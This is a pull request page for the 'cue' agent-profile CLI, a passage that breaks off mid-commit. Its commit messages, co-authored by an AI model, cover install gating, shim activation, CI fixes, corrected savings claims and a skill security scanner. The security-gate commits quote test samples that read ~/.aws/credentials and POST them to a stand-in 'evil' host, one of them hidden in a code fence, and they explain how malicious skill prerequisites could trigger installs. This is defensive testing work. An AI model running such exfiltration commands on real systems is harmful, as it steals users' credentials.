Week-1 highest-ROI fixes: CLI auto-install gate, shim activation, launch-safe update check, CI gate, e2e src trigger, phantom profile names - #6
Merged
Conversation
autoInstallClis() scraped npm/brew/cargo/pipx install lines out of a just-fetched SKILL.md and ran them with no prompt and no allowlist. A typosquatted or malicious skill repo with one crafted `## Prerequisites` line could trigger arbitrary global package installs on `cue discover install` (and via the interactive `cue init` wizard). Default is now warn-only: the prerequisites are printed for the user to review and install deliberately. Installation only happens when the user opts in with `--yes` (threaded through cmdInstall). The interactive wizard path stays warn-only by default. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
main() fired checkForUpdate() on every invocation. But the claude/codex shim is `exec cue launch <agent>`, so on the launch path the update check opened a readline on the agent's stdin (stealing keystrokes), auto-accepted "y" after a 5s timeout, then ran a blocking `npm install -g cue-ai` that rewrote the package's own files mid-session. Two changes: - Skip the update check for `launch`, when CUE_LAUNCHING=1, under CI, or when stdin isn't an interactive TTY. - Flip the unattended default from "y" to "n" and require an explicit y/yes — blank/Enter or the 5s timeout no longer triggers an install. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
`npm install -g cue-ai` only installs the `cue` binary — it never creates the ~/.local/bin/claude shim that is the entire interception mechanism. A user who followed the README (pin a profile, type `claude`) got vanilla Claude Code with no profile and churned, because `cue shell install` was documented nowhere in the README and the postinstall only said "cue init". - README quickstart + install section now include `cue shell install` as an explicit one-time step, with a note on why it matters. - postinstall points at `cue shell install` then `cue init`. - `cue init` detects a missing shim (new shell.shimInstalled helper) and offers to install it; declining prints the manual command. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The lint job forced every check green. `tsc` ran as `--skipLibCheck 2>/dev/null || true`, so the clean typecheck was enforced by nothing — the first type regression would merge green (Bun runs TS directly, no compile step). And `bun src/index.ts skills-lint` is a usage error (the command is `skills lint --all`), so that step was a silent no-op too. - Type check now runs `bun run typecheck` (tsc --noEmit, no skipLibCheck), blocking. Verified clean against the current tree. - Skill lint now calls the correct `skills lint --all` and surfaces its output; kept `|| true` until the skill-hygiene backlog is cleared. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
profiles-ci.yml is the only workflow that runs test/e2e/run.sh (the real bin/cue across list/scan/doctor/inheritance), but its paths filter omitted src/**. A PR touching only the hot path (launch.ts, runtime-materializer.ts) never triggered the cross-profile e2e sweep. Add src/** to both the pull_request and push path filters. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Profile suggestion code pointed at profiles that don't exist on disk, so the features silently no-opped: - auto-detect.ts suggested `python-api`, `rust-cli`, and `ecc`. launch.ts filters detections to known profiles, so Python/Rust projects got no suggestion and the CLAUDE.md/.claude signal (`ecc`) never fired. - discover.ts suggested `python-api` and a bare `medusa` in PROFILE_KEYWORDS / STACK_PROFILES / search terms; `cue discover install` then skipped writing the skill because profiles/<name>/profile.yaml didn't exist. - ai.ts mapped python keywords to `python-api`. Renamed to the real dirs: python-api→python, rust-cli→rust (the rust signals already cover Cargo.toml/main.rs, so the redundant block is removed and main.rs now corroborates rust in V2), ecc→core (generic Claude-managed-repo baseline), bare medusa→medusa-dev. Added src/lib/profile-names.test.ts — a guard asserting every profile name referenced by SIGNALS / STACK_PROFILES / both PROFILE_KEYWORDS maps exists under profiles/. Updated the two tests that encoded the old phantom names. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Adversarial review caught a false negative in shimInstalled(): it checked for the substring "cue launch", but the user-facing `cue shell install` writes an absolute-path shim (`exec "/abs/cue" launch claude "$@"`) that doesn't contain it — only the runInstall() helper's bare form does. So a user who followed the documented flow (`cue shell install` then `cue init`) was wrongly told the shim wasn't installed and offered a reinstall. Match `launch claude` instead — present in both shim formats. Add shimInstalled() tests covering both formats + the no-shim and non-cue cases (it had zero coverage, which is why this slipped the suite). Also correct the README: `cue shell install` installs the claude shim by default; codex needs --codex. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The launch guard keyed only on args[0]==="launch", but `cue quick` and `cue playground` also spawn the real claude with inherited stdio and route through main(), so the update-check readline could still steal the agent's stdin. Skip the check for all three agent-launch commands. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The lint job's checkout lacked `submodules: recursive`, so `skills lint --all` ran against an empty resources/skills submodule, threw SKILLS_ROOT_UNREADABLE, and emitted an internal-error stack trace (swallowed by `|| true`) instead of the skill-hygiene report. The blocking typecheck does not need submodules (it only compiles src/), so that gate was unaffected. Note: typecheck runs via `bun run typecheck`, which honors tsconfig's skipLibCheck:true (intentional — only src/ is gated, not dependency .d.ts). Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
…eview fix) `cue init`'s global onboarding offered a `core+skill-writer+ecc` default composite (and an `ecc` example in the custom prompt), but `ecc` is one of the phantom profiles fix #6 removed — picking it silently dropped the `ecc` part at materialization. Remove the option and use a real-profile example. Also strengthen the ai e2e assertion to additionally reject "python-api" (a substring of the new "python", so the old check alone would pass even on a regression). Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
`cue shell install` hard-coded an absolute shim path (`exec "~/Documents/cue/bin/cue" launch claude`), which doesn't exist for users who ran `npm install -g cue-ai` (no source clone, CUE_REPO_ROOT unset) — the shim pointed at a missing file and `claude` broke. This undercut the documented install flow for the primary (npm) audience. Add resolveCueInvocation(): prefer the portable bare `cue` when it's on PATH (npm-global / symlinked), else fall back to a quoted absolute path to the cue entrypoint (CUE_REPO_ROOT is exported when cue runs itself; also tries bin/cue.mjs for the npm layout). Both shim writers (runInstall and the user-facing `cue shell install`) now use it, and both forms keep the `launch claude` substring so shimInstalled() still detects them. Removed the dead cueBin computations. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The README "money shot" claimed a ~180k-token baseline, ~$2.70/session, and "22×" — but no command produces those numbers and they were self-contradictory. The real, reproducible figures from `cue cost --compare`: the `full` everything-loadout is ~81k always-on tokens (~$24/100 msgs at Sonnet input pricing), `backend` ~9k (~$2.70), `caveman-quick` ~6.8k (~$2.00). So the honest reduction is ~9× (backend) up to ~16× (leanest), not 22× or "10–25×". Reconciled README (money-shot table, hero stat, JSON-LD, feature bullet), the reduce-token-cost use-case (real numbers table + measurement block — dropped the broken `cue eval --compare full backend`, which reports 0% because eval skips full's `*/*` glob), the two comparison docs, and the cybersecurity/marketing use-case per-message-cost lines. Every claim now cites `cue cost --compare` so a reader can reproduce it. (eval's glob bug is left as a separate follow-up to avoid churning eval test fixtures.) Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
`cue validate --all` did one network `npx skills add` spawn per npx skill (~2000+ across all profiles), serially, with no cache (the fetch wrote into a throwaway temp repo) and no timeout — a multi-minute-to-hours hang. The launch hot path already avoids this (passes npxOffline:true); validate never got the same treatment. - validate is now offline by default: uncached npx skills are reported as a neutral "N not cached (offline; run --online to fetch)" check instead of an E3 error or a network fetch. `cue validate --all` drops from a >60s hang to ~5s. `--online` (alias --no-offline) opts back into the real fetchability check; an explicit CUE_OFFLINE=1 still wins. - resolveOneNpxSkill returns "resolved" | "skipped-offline"; only real errors (PinNotFound, schema, missing MCP/local skill) stay E3. - Defense-in-depth: npxFetch's spawnSync now has a 45s timeout (CUE_NPX_TIMEOUT_MS) + SIGKILL, so one wedged npx can't hang a run. Verified: real profile errors (29 pre-existing E3: missing private MCPs, unresolved env placeholder) are unchanged vs the CUE_OFFLINE=1 baseline. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
cue shipped a skill security scanner (scanSkill, 7 SEC rules) but NOTHING called it on the paths that bring remote code onto the machine. Worse, its category suppressions (isGlobalPack / isSecuritySkill, both derived from the skill's own self-declared frontmatter/path) disabled exactly the critical rules SEC1-5 for skills in ~/.claude/skills — where discover installs remote gems — so even a naive scan would have been a no-op. - Export scanSkill + SecurityIssue; add a `trustGlobalPack` option. Default (true) preserves `cue security`'s behavior. The gate passes false, which turns OFF every self-declared-category suppression and runs the full SEC1-7 ruleset (only per-line safe-context skips remain). - Add gateFreshSkill(): scans untrusted, blocks on critical SEC1-3 (secret/data exfiltration, prompt injection), `allowUnsafe` overrides. - Wire it into `cue discover install` (blocks registration to a profile; --allow-unsafe to override) and `cue init`'s gem wizard (flags + skips CLI auto-install for a critical skill). Orthogonal to the week1 --yes CLI-install gate. Verified: a global-pack skill with `cat ~/.aws/credentials` + `curl -X POST https://evil…` is suppressed (0 criticals) by the default path but caught (SEC1+SEC2, blocked) by the gate; --allow-unsafe overrides. `cue security` output is unchanged. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
When `claude` doesn't pick up a profile, users run `cue doctor` — but it
only checked profile-internal drift (D1-D8); nothing verified that the
activation layer (the shim) is actually wired up. Add a D9 ACTIVATION
group:
- the ~/.local/bin/claude shim is installed and is a cue shim (gating
error; reuses shell.shimInstalled, which matches both shim formats),
- the real claude binary resolves (warning if only the shim is found),
- ~/.local/bin precedes the real binary on PATH (error if shadowed).
D9 is environment-scoped: it runs once in run() (not per profile, which
would duplicate it). `--fix` calls shell.runInstall to install/repair the
shim; a PATH-ordering problem can't be auto-fixed (user must reorder their
shell PATH), so the fix message says so. checkActivation takes injectable
{homeDir, pathDirs, realBin} for hermetic tests. e2e scenario 04 still
passes (it asserts non-zero exit + drift naming, not issue count).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Two adjacent gaps left the "claude won't start" lines untested: - the launch exec handoff (childEnv assembly, runtimeDir mapping, the recursion guard) was only exercised up to --rematerialize, and - install.sh / the shim it writes ran in zero CI jobs despite every new user depending on it. Added (new files, additive so they don't collide with the concurrent edits to launch.e2e.test.ts): - launch-handoff.e2e.test.ts: `cue launch <agent> --dry-run` asserts CLAUDE_CONFIG_DIR→runtime/<profile>/claude (CODEX_HOME for codex), command/passthrough assembly, and a CUE_LAUNCHING=1 → exit-2 recursion-guard probe (spawned directly, since the shared helper strips CUE_LAUNCHING). - install-sh.e2e.test.ts: runs install.sh into a throwaway SHIM_DIR (with a stub authmux on PATH so Step 5 never does `npm install -g`), asserts the cue symlink + a working `exec cue launch claude` shim, and that `cue --version` through the shim matches package.json. - ci.yml: a `test`-job step running install.sh into a throwaway prefix on a clean image (same stub-authmux trick). Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
isRuntimeStale only compared profile.yaml's mtime to .cue-hash, so editing a skill's SKILL.md (frontmatter or body) never invalidated the runtime — "edit skill → relaunch → nothing changed", a confusing gap in the tool's core iteration loop. Extend the predicate to also fire when any resolved SKILL.md is newer than .cue-hash. The materialized runtime already symlinks each resolved skill (skills/<slug> → source dir), so lstat'ing skills/<slug>/SKILL.md resolves through to the real source mtime — automatically scoped to the agent and to conditional/subset pruning, with no profile object needed in scope. No change to computeHash or the caller (launch already deletes .cue-hash and reuses the rebuild path, fail-open). Per-entry try/catch: a broken symlink (deleted source) is skipped, not fatal. Hot path: one readdir + N metadata lstats (N<~60) per launch, dwarfed by materialize's existing fs work. NOTE: runtime-materializer.ts is under concurrent edit elsewhere — expect a merge conflict in this function. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
…h (review) Adversarial review found the security gate, as first written, was porous: - BYPASS via doc-context skips: the per-line "safe context" skips (fenced code blocks, "verify/check…secret" lines, benign keywords like "never") let an attacker hide the SAME exfiltration in a ``` fence and walk past the gate. Those skips now apply ONLY in trusted mode; the gate (trustGlobalPack:false) scans every line (still skipping the bare ``` delimiter), trading false positives for no bypass (--allow-unsafe + the skill is left on disk for review). - FAIL-OPEN when no SKILL.md is found: gateFreshSkill now returns a `scanned` flag; discover/init warn "no SKILL.md found — review manually" instead of silently passing a skill that was never scanned. - UNGATED PRIMARY PATH: `cue skills add` (the most-documented install) did npx-fetch + register-to-profile with no scan. It now runs the gate over freshly-installed skills, dropping critical ones from the set it registers (--allow-unsafe to override; flag stripped before forwarding to npx). Verified: a fenced `grep api_key ~/.aws/credentials` + `curl -X POST https://evil…` is now caught (SEC1+SEC2, blocked); `cue security` output is unchanged. Known remaining gaps (follow-up): `cue marketplace install-skill` and `cue upgrade --apply` also fetch+register and are not yet gated. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The reduce-token-cost doc's "Short answer" lede still carried the discredited $2.70-as-baseline, $0.12/$0.08 per-session figures, and a "22–33×" claim (en-dash, so it dodged the earlier grep) — directly contradicting the body that was already reconciled. Rewrote it to the real `cue cost --compare` numbers (~81k/$24 baseline → ~9k/$2.70 backend, ~9×). Also dropped the broken `cue eval --compare a b` from the README "Measure" block (eval understates savings due to the unfixed `*/*` glob bug). Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
…ests)
- doctor D9: shim-missing is now a WARNING, not an error, so `cue doctor`'s
exit code tracks actual profile breakage rather than flipping to 1 for
users who simply haven't run `cue shell install`.
- resolver-npx: sanitize CUE_NPX_TIMEOUT_MS — a non-numeric or empty value
(Number("")===0 would DISABLE the spawn timeout) now falls back to 45s.
- shell.resolveCueInvocation: require an EXECUTABLE FILE named `cue` on PATH
(was name-existence-only — a directory or non-executable `cue` wrongly
returned the bare token); prefer bin/cue.mjs (npm layout) in the fallback.
- install-sh.e2e: gate to CI only — it does `bun install` against the repo,
which would mutate the dev tree / hit the network locally.
- runtime-materializer test: add a real-symlink case so the SKILL.md
staleness check is tested against the production symlinked layout.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The lede/table were reconciled to ~9–16×, but the "What NOT to do" body still cited "25× savings" — the final inconsistent multiplier in the file. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
ROI follow-ups + bigger bets: portable shim, validate hang, security gate, doctor D9, SKILL.md rebuild, savings docs, launch tests
Resolves 6 conflicts so PR #6 (week-1 ROI fixes) merges cleanly onto a main that has since advanced (absorbed PR #7). Resolution intent: keep main's newer state, preserve the PR's unique fixes. - package.json: PR's `cue shell install` guidance + main's cuecards URL - README.md: main (10–25× tagline, cuecards URL) - ci.yml: keep BOTH the install.sh smoke-test (PR) and bundled-CLI boot (main); take main's lint job (adds biome, --skipLibCheck) - index.ts: combine update-check guards — PR's launch-safety (launch/quick/playground, CUE_LAUNCHING, CI, stdin TTY) + main's trivial-args + stdout TTY (superset) - shell.ts: keep `cueInvoke = resolveCueInvocation()` (used by the shims) - ai-score.e2e: main's skipIf(!BUN_SPAWNABLE) guard + body-consistent "matches python" name Verified on the merged tree: typecheck clean, ai-score.e2e 13/13. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
CI (and any fresh clone) failed at `actions/checkout --recurse-submodules`:
the resources/mcps gitlink pointed at 7c6d955, which was committed locally
but never pushed to recodeee/mcps ("upload-pack: not our ref"). main carried
the same broken pointer, so main's CI was red too. Repoint to fdae32d, the
current recodeee/mcps main tip, so the submodule checkout resolves.
Note: 7c6d955 ("add financial-datasets MCP server") still exists locally; to
keep it, push it to recodeee/mcps and re-bump the gitlink.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Second of the two broken gitlinks: resources/skills pointed at dd6dd655,
committed locally on soul-main but never pushed to opencue/skills, so CI's
recursive checkout failed the same way it did for mcps. Repoint to 553b5e2
(opencue/skills soul-main tip, the immediate parent), which is pushed and
fetchable.
Note: dd6dd655 ("add trigger phrases to 51 skill descriptions") still exists
locally on soul-main; push it to opencue/skills and re-bump the gitlink to keep it.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
biome.json sets noUnusedImports=error; replay-whatif only uses join, so the unused resolve/dirname imports failed the CI lint job. (Pre-existing in the committed file, surfaced once the submodule checkout was fixed.) Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
NagyVikt
added a commit
that referenced
this pull request
Jun 4, 2026
Patch bump over 0.9.0 covering the post-release delta (#6-#33): cue studio dashboard (env view, hooks/permissions rail, hook-source viewer, profile-linter, repos catalog), profile work (vercel skills, browser playwright, cue-developer), the lean-cue install path, and CLI/validate fixes (bun:sqlite boot, W9 MCP demotion, trigger-gaps). Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
NagyVikt
added a commit
that referenced
this pull request
Jun 5, 2026
resources/mcps -> 0945bd0 (ted-eu + apify-ted-eu MCP configs; recodeee/mcps). resources/skills -> d182db1 (eu-funding/gx-agents/focus/portless skills + career de-symlink; opencue/skills PR #6). Submodule commits live on agent branches; gitlinks resolve against them. Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
NagyVikt
added a commit
that referenced
this pull request
Jun 8, 2026
* chore: bump mcps + skills gitlinks for eu-funding workstream resources/mcps -> 0945bd0 (ted-eu + apify-ted-eu MCP configs; recodeee/mcps). resources/skills -> d182db1 (eu-funding/gx-agents/focus/portless skills + career de-symlink; opencue/skills PR #6). Submodule commits live on agent branches; gitlinks resolve against them. * fix(ci): bump skills submodule gitlink to resolve missing skills Parent gitlink pointed at b7a7130, which predates meta/next-steps, meta/ralph-loop, and tools/context7 — all referenced by core's profile. Profiles e2e (macos + ubuntu) failed the resolver dry-run with E3 SKILL_NOT_FOUND. Bump to 3372160 (skills origin/main), which contains all three. Verified locally with bash test/e2e/run.sh (exit 0). * ci(profiles): watch resources/skills + resources/mcps gitlinks Profiles CI's path filter excluded the submodules, so a gitlink bump that changes which skills resolve was never tested — which is how the b7a7130 lag (missing next-steps/ralph-loop/context7) reached main red. Watch both submodule pointers on PRs and pushes to catch this class. * feat(summon): cue summon — bind a profile into the live session, no restart Adds `cue summon [profile]`: resolves a profile (explicit or auto-detected), lists its skills as readable SKILL.md paths + persona for inline soft-load, pins .cue-profile, and prints the warm re-exec (claude --continue) for the MCP / slash-command tail. Pure summon(opts) core + CLI wrapper. - src/commands/summon.ts (+ test): resolution, mcp_status vs active session, pin-clobber guard (pin_previous), --json/--no-pin/--pick/--dry-run. - auto-detect.ts: vercel.json/.vercel + @vercel dep -> vercel profile. - _index.ts/index.ts: register the command + help row. - launch.ts: first-time (no .cue-profile) marker points at summon. Skill meta/profile-summon ships separately via opencue/skills PR #7. Core built-in registration deferred (core/profile.yaml is a shared dirty file). * chore(skills): bump gitlink to include meta/profile-summon opencue/skills 3372160 -> 4938f47 (PR #7 merged). Clean fast-forward; the only delta is the new meta/profile-summon skill (+212 lines). Pairs with the cue summon command in a946367. * Reduce default cue context overhead (#44) Constraint: keep first-run default on core and move bootstrap detail out of always-read AGENTS.md. Tested: bun run typecheck; bun test src/lib/cwd-resolver.test.ts. Not-tested: broad lint has pre-existing unused-variable warnings; broader summon test is environment-sensitive because lightpanda is available on this machine. Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> * feat(core): pin subagents to Sonnet + add model-selection guidance profile.env only feeds MCP placeholder substitution and never reached the claude process, so cost knobs declared there were silent no-ops. buildClaudeSettings now surfaces an allowlisted subset of profile.env into settings.json's env block (Claude Code injects that into the session). core sets CLAUDE_CODE_SUBAGENT_MODEL=claude-sonnet-4-6, fanning out to all inheriting profiles so Task/Agent subagents (code-reviewer, Explore, file-read/grep) run on Sonnet — ~50-60% cheaper than Opus. The allowlist is deliberate: profile.env also holds secret refs like ${AWS_SECRET_ACCESS_KEY}. Adds an advisory "Model selection" persona block (Sonnet default, Opus for planning/architecture, steer via /model) since the main session model can't be switched automatically. Verified: settings.env carries the model, persona block reaches the generated CLAUDE.md, secret placeholders filtered. 37/37 materializer tests pass; the settings.json env + CLAUDE_CODE_SUBAGENT_MODEL contract confirmed against Claude Code v2.1.168 docs. * test(core): guard CLAUDE_CODE_SUBAGENT_MODEL=claude-sonnet-4-6 in core Regression guard so a future core edit can't silently drop the subagent cost knob — it fans out to all 72 inheriting profiles and is the one automatic Opus→Sonnet lever. Loads the real core profile (no fixture) and asserts the env value buildClaudeSettings surfaces into settings.json. * feat(profiles): add google/skills to all Google profiles Wires the full official Google Cloud skill library (30 skills from github.com/google/skills) into google-ads, google-analytics, google-drive, and webshop-google via a single repo: google/skills npx block. Covers: gcloud, gemini-api, gemini-agents-api, gemini-interactions-api, bigquery-basics, firebase-basics, cloud-run-basics, cloud-sql-basics, gke-basics, alloydb-basics, agent-platform-* (8 skills), google-cloud-waf-* (5 skills), networking-observability, and both google-cloud-recipe skills. * fix(profiles): remove redundant google/skills from webshop-google webshop-google bundles google-ads and google-analytics, which already carry the google/skills npx block. Loading it a third time directly would triple-load 30 skills on materialization. --------- Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
NagyVikt
added a commit
that referenced
this pull request
Jul 28, 2026
* feat(picker): match every profile against the repo, not just the 19 with rules The suggestion engine ranked profiles from five hand-maintained sources — dependency rules, path conventions, combo history, recents, featured. Between them they cover 19 of 85 profiles. The other 66 could only ever surface if the user had launched them before, so a directory that genuinely wanted one had no way to say so, and cycling past the third suggestion ran out of answers. profile-match scores every profile's OWN vocabulary (name, description, skill ids, MCP ids) against what the directory reveals about itself (dependencies, languages, marker files, entry names). Coverage goes to 85/85 and the card's tail keeps landing on something the repo justifies. Wired in as a new `matched` origin scored 8-30, so curation still leads: it can pass `featured` from ~0.32 strength but never outranks a detection, a confirmed combo, or something launched in this very directory. Four properties earned their place by being wrong first: Absolute strength, not relative to the run's best hit. Normalizing against the top scorer manufactures confidence from noise — a directory with nothing to say still produced a 1.00 "match", because the weakest signal present is still the strongest signal present. cue and gitguardex now correctly match nothing. Corroboration: a filename alone never carries a match. Every repo here has a CLAUDE.md, so every repo matched `claude-api` — above a real ROS workspace backed by an actual robot.urdf. Chasing each such word with the stopword list was a losing game; requiring one dependency, language, or marker hit ends the class. IDF weighting plus size damping, so `gstack` (70 terms, mentions everything) cannot beat `rust` (18 terms, mentions Rust) on a Cargo.toml by surface area. Both sides normalize through the same `tokenize`. Skipping it on the evidence side meant a profile indexed "robotic" while EXT_LANGUAGE emitted "robotics" — they never met, silently. Same failure class as the bash/TS drift the hook guards against. gstack itself goes to _featured.yaml rather than being made detectable, because it structurally cannot be: it is a WORKFLOW profile, describing how you want to work, and repo evidence only ever describes what the project IS. A .urdf says robotics; nothing on disk says "role-routed engineering". It scored 0.27 at rank #6 across the test repos; always-available is the honest mechanism. Also: `-js` is no longer folded as a plural (medusajs -> medusaj, nextjs -> nextj), which affected skill matching too; the df cut is skipped below 10 profiles, where it discarded every term shared by two and matched nothing; and manifest metadata keys are filtered, so `requires-python` and `[urls] issues` stop reading as dependencies named "research" and "linear". Verified on real repos: agv_stack surfaces ros2 #1 (previously unreachable), api-tester surfaces python + backend-base, kolarortopedia surfaces postgres + supabase, cue and gitguardex correctly surface nothing. 2819 pass / 0 fail. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(test): make cue handoff tests e2e, drop the global mock.module leak src/commands/handoff.test.ts registered mock.module("../lib/handoff", ...). Bun's module mock lives in a PROCESS-GLOBAL registry that outlives the file that installs it, so whenever this file landed in the same worker before src/lib/handoff.test.ts, that file asserted against the stub instead of the real formatHandoffForAgent. The stub emitted only the header and the task summary, so exactly the four sections it omitted failed: Most useful skills / Also helpful / MCPs used / Notes Green locally, red in CI, purely on file ordering. Drive the command through spawnSync with XDG_CONFIG_HOME pointed at a temp dir instead. HANDOFFS_DIR is a module-level const baked from that env var at import time, so a fresh child picks up the temp dir and no global state is touched. Nothing is left to leak — this was the last mock.module in the repo. Also stronger: the router now runs against the real lib rather than a stub. 10 -> 18 tests, covering the --json branches, --skills level parsing, the --from default and the unknown-subcommand fallback. Verified: bun test --timeout 30000 (the CI command), 4 consecutive runs, 2819 pass / 1 skip / 0 fail. typecheck clean, lint unchanged at 6 warnings. * chore: delete 733 lines of verified dead code Every deletion was re-verified by hand against a repo-wide fixed-string grep (excluding node_modules/dist/vendor, but INCLUDING .sh, .yaml, .md and extensionless bin scripts) plus a within-file usage check. Dead code's tests go with it — a test for dead code is also dead. Whole files, referenced by nothing but their own test: src/lib/incremental-materialize.ts 81 (+112 test) src/lib/skill-compressor.ts 68 (+59 test) src/lib/webhooks.ts 58 (+175 test) scripts/_test-ecc-materialize.ts 20 (referenced by nothing at all) Functions with exactly one occurrence in the repo — their own definition: discover.ts buildGemBadgeSvg 196 skill-deps.ts topologicalSort 61 (+18 test) Stale docs: bin/README.md 32 describes a `soul` CLI and a bin/cli/lib/ layout, neither of which exists Deliberately NOT deleted, though a generated report flagged them — 28 of its 76 non-picker findings were false positives, and deleting them blind would have broken the build: analytics.ts recordSkillUsage called by resources/hooks/skill-fire-tracker.sh bin/cue-slug called by bin/cue-learnings (the report's own grep passed --include='*.sh', so the extensionless caller never matched) runtime-gc.ts imported by commands/gc.ts and launch.ts handoff.ts (all 4 exports) imported by commands/handoff.ts kitty-image probeKittyTerminal, clearKittyImagesSequence, skill-deps parseDependencies, skill-router Router* types used within their own file; only the `export` keyword is redundant, which is churn, not dead code cloud.ts:255 "dead" branch reachable: `cue cloud push x` gives argv[2]="cloud" and falls to the default arm Also left alone: the picker block (~1057 lines) while that migration is in flight, and launch.ts's token-budget re-export shim (all five symbols are used inside launch.ts, so it is an export->import rewrite worth zero lines). Verified: bun test --timeout 30000, 4 consecutive runs, 2819 pass / 1 skip / 0 fail across 219 files. typecheck exit 0. lint 0 errors, 6 warnings (baseline). * docs(dead-code): mark the report superseded, record the false-positive rate 28 of 76 non-picker findings were wrong. Record which ones and why, so the next pass re-verifies instead of trusting the confidence column: a 'high' rating only means the agent's grep came back empty, and those greps missed shell hooks, extensionless bin scripts, dynamic imports, and string-keyed command dispatch. * feat(brief): hand the agent verified facts about the directory it launches in A profile teaches the agent a domain. It cannot know that this repo runs on bun rather than npm, that the tests are behind `just check`, or where the entry point lives — so the agent guesses, and burns turns finding out. `lib/project-brief` scans that off the filesystem and the launcher hands it over: package manager (from the lockfile), the real test/build/lint/typecheck commands (package.json scripts, Makefile, justfile, Cargo, pyproject), entry points, layout, workspaces, data layer, what CI actually runs, and the default branch. Verified only — nothing inferred, because a wrong fact costs more than a missing one. `.env` values are never read; the scan notes only that a committed `.env.example` exists. Delivery is per process, deliberately NOT through the materialized memory file: the runtime is keyed by profile and shared by every directory and every parallel session using it, so repo-specific text there would leak across projects and race between sessions. claude-code takes the brief inline via `--append-system-prompt`; codex, which has no such flag, gets a per-cwd file plus one *static* pointer line in AGENTS.md. `cue brief` shows exactly what the agent receives. `--write` turns it into `.cue/project.md`: a machine block that refreshes and a `## Notes` section that never does — for the conventions no scanner can infer. `CUE_BRIEF=0` opts out entirely. Two bugs the real-repo smoke test caught, both fixed with tests: the layout list sorted alphabetically and spent its budget on `action/ agentshield/…` while cutting `src/`; and `--write` folded the notes back into the machine block, duplicating them on every rewrite. Tests: 33 new, driving the scanner through a stub probe (bun/pnpm/cargo/ python/go/monorepo fixtures, CI harvesting, caps, truncation, no-manifest → null, and an assertion that no `.env` is ever read), plus the brief-file merge and the per-agent injection. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(picker): let the model rerank profile matches, without ever waiting on it Every failure the lexical matcher has is the same shape: a word means one thing in a manifest and another in a profile description, and the fix is another stopword. CLAUDE.md, @clack/core, requires-python, base-template each cost a round of tuning, and the list is unbounded. A model reads the same evidence and doesn't make that class of mistake. So: lexical proposes, the model judges. This fits here in a way it did not fit the skill matcher. That hook runs on every prompt and the prompt is always different, so an LLM call is a per-message tax with a near-zero cache hit rate — which is why it ended up as an opt-in `--deep` escalation. A repo's shape is stable for weeks. Keyed on the evidence rather than the clock, the cache hits ~always and the model is consulted about once per project. Measured: 9.8s cold, 0.124s warm. The launch path still never waits. A warm entry is read in ~1ms; a cold one serves the lexical answer immediately and spawns a detached process to fill the cache for next time. Picker cost measured at 98ms warm, 45-74ms cold — the model's 10 seconds are never on anyone's critical path. claude-classifier extracts the spawn, the ephemeral CLAUDE_CONFIG_DIR isolation and the credential copy-back out of skill-subset (477 -> 331 lines). That machinery is subtle enough — the rotation race, the shared timeout budget across the binary fallback — that a second copy would drift rather than stay honest. `cue profile match [dir] --explain --deep` exists because the matcher's early versions stayed wrong for as long as they did purely because nothing showed which term caused a bad suggestion. It earned its keep within minutes: on a small Python CLI it revealed "dependencies" named environment, intended, operating, programming and topic — PyPI trove classifiers, read as packages by the loose manifest scanner. Handed that same garbage, the model confidently picked profiles about building cue itself. With the scanner fixed to skip `::` lines it picks python + backend-base, which is right. The scanner now also harvests inline dependency arrays (`dependencies = [...]`), which are often the only place a pyproject declares anything real. Verified live: agv_stack -> ros2 ("ROS 2 robot control, .urdf files, MRS platform"); kolarortopedia -> backend + postgres, with the model correctly dropping `vite` (matched on the vitest test runner) and `supabase` (matched on the substring "postgre"). 2889 pass / 0 fail, tsc and lint clean. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(picker): scope remembered stacks to the repo you launch in The combine suggestion engine remembered every stack globally: combo-history rows carried no directory, so "you launched this stack 4x" counted launches from every project at once. At SCORE_COMBO (50-65 with the count bonus) that outranked the cwd-scoped recent (max 50), so a favourite stack from an unrelated repo led the picker in a repo that had never seen it. Rows now record the launch directory, and readCombos scopes them by repository root - a launch inside packages/core still sees the stack confirmed at the repo root above it. Stacks confirmed here score 60-75; stacks known only from other repos drop to 31-40, below anything cwd-scoped, and say so in their reason. Backward compatible on both ends: an unattributed row (written before cwd was recorded) never claims the current directory, and a caller that passes no scope keeps the exact score and wording it had before. * feat(picker): scope pair affinity to the repo you launch in growStack grafts your top historical partner onto every suggested stack, and it does so with no reason line of its own - the profile just appears in the card. That partner came from a global affinity map mined across every project, so a pairing learned in one repo rode silently into the suggestions of an unrelated one: open an API repo and backend+medusa-dev showed up because that is how you work in a shop repo. computeAffinityMap now takes an optional repo scope, and launch builds the 